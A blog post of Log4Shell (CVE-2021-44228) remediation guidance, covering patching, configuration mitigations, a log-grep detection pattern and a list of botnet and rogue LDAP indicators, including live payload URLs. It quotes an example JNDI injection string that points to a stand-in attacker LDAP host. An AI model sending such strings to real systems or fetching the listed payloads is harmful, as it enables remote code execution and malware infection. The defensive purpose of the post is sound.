If you’re using any software running on Apache and Java, be aware of this critical zero-day vulnerability. Log4j is a ubiquitous logging tool included in almost every Java application, meaning this vulnerability affects literally millions of servers. The Log4J library vulnerability (CVE-2021-44228) allows an attacker to cause the target system to fetch and execute code from a remote location controlled by the attacker. The second stage, what the downloaded malicious code does next, is fully up to the attacker. This library is used by many software vendors and service providers globally as a standardized way of handling log messages within the software. This blog post is a step-by-step guide (recommendations) that you can follow.
Remediations & Recommendations:
- Get an overview of systems and software using Log4J in your environment (this can be a time-consuming task, so better start early).
- Check regularly with vendors to see if there is information on patches and other mitigations related to vulnerabilities. SwitHak has created a useful page that collates various articles related to this vulnerability: https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592 and NCSC-NL Page: https://github.com/NCSC-NL/log4shell/blob/main/software/README.md
- Creating a follow-up file for the fix application. For example:
- Apply the corresponding security patches for internet-facing software/devices immediately.
- Apply the corresponding security patches for internal software/devices at your earliest convenience.
- If patching is not possible for whatever reason, we strongly recommend isolating the system from the Internet and/or applying the following mitigation measures:
For version >=2.10: set log4j2.formatMsgNoLookups to true
For releases from 2.0 to 2.10.0: you may want to remove the LDAP class from Log4J completely by issuing the following command: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
For certain JVM Versions, it is possible to set com.sun.jndi.rmi.object.trustURLCodebase and com.sun.jndi.cosnaming.object.trustURLCodebase to false to mitigate the vulnerability. Some JVM versions already have this as the default setting. - You may check for exploitation attempts — no matter whether they were successful or not — in your web server logs using the following Linux/Unix command: sudo egrep -i -r ‘\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+’ /var/log/
- Restrict network access, or limit it to trusted sites. If your system cannot connect to the Internet to fetch the malicious code, the attack will fail.
- Check your systems daily for updates, and apply any available as soon as possible.
- Subscribe to reputable Security Bulletins.
- Check your network perimeter logs for the presence of the list of indicators of compromise (IOCs) mentioned below:
nazi.uy # Mirai botnet C2 log.exposedbotnets.ru # Tsunami botnet C2 194.59.165.21:8080 # Tsunami botnet C2 195.133.40.15:25565 # Mirai botnet C2 185.154.53.140:80 # Kinsing botnet C2 138.197.206.223:80 # Kinsing payload delivery server 18.228.7.109:80 # Kinsing payload delivery server 82.118.18.201:80 # Kinsing payload delivery server 92.242.40.21:80 # Kinsing payload delivery server 185.191.32.198:80 # Kinsing payload delivery server 80.71.158.12:80 # Kinsing payload delivery server 185.191.32.198:80 # Kinsing payload delivery server 45.137.155.55:80 # Kinsing payload delivery server 185.191.32.198:80 # Kinsing payload delivery server 45.137.155.55:80 # Kinsing payload delivery server 62.210.130.250:80 # Mirai payload delivery server http://210.141.105.67/wp-content/themes/twentythirteen/m8 # Kinsing payload URL http://159.89.182.117/wp-content/themes/twentyseventeen/ldm # Kinsing payload URL 45.130.229.168:1389 # Rogue LDAP server 82.118.18.201:1534 # Rogue LDAP server 45.130.229.168:1389 # Rogue LDAP server 185.250.148.157:1389 # Rogue LDAP server 92.242.40.21:5557 # Rogue LDAP server 205.185.115.217:47324 # Rogue LDAP server 163.172.157.143:1389 # Rogue LDAP server 45.155.205.233:12344 # Rogue LDAP server
The vulnerability (CVE-2021-44228 1) is critical, as it can be exploited from remote by an unauthenticated adversary to execute arbitrary code (remote code execution – RCE). The criticality of the vulnerability has a score of 10 (out of 10) in the common vulnerability scoring system (CVSS) which outlines how severe the vulnerability is.
The vulnerability results from how log messages are being handled by the log4j processor. If an attacker sends a specially crafted message (it contains a string like ${jndi:ldap://rogueldapserver.com/a}), this may result in loading an external code class or message lookup and the execution of that code, leading to a situation that is known as Remote Code Execution (RCE).
Source: https://www.govcert.ch/
Backup with Trusted Repository Storage: Blog Post.
Protect your Backup against Ransomware: Blog Post.
1 pings
[…] So unfortunately that Apache Log4j vulnerability from the week before ended up a dumpster fire type of situation. In the middle of last week, the second vulnerability was found and fixed in version 2.16, causing another round of urgent patching. And now over the weekend, the third vulnerability was disclosed and patched in version 2.17. This is really not a great trend to enter the Christmas week with, as with many people taking some days off few will be left to actually do the patching! Here’s a step-by-step guide Log4J Remediations & Recommendations. […]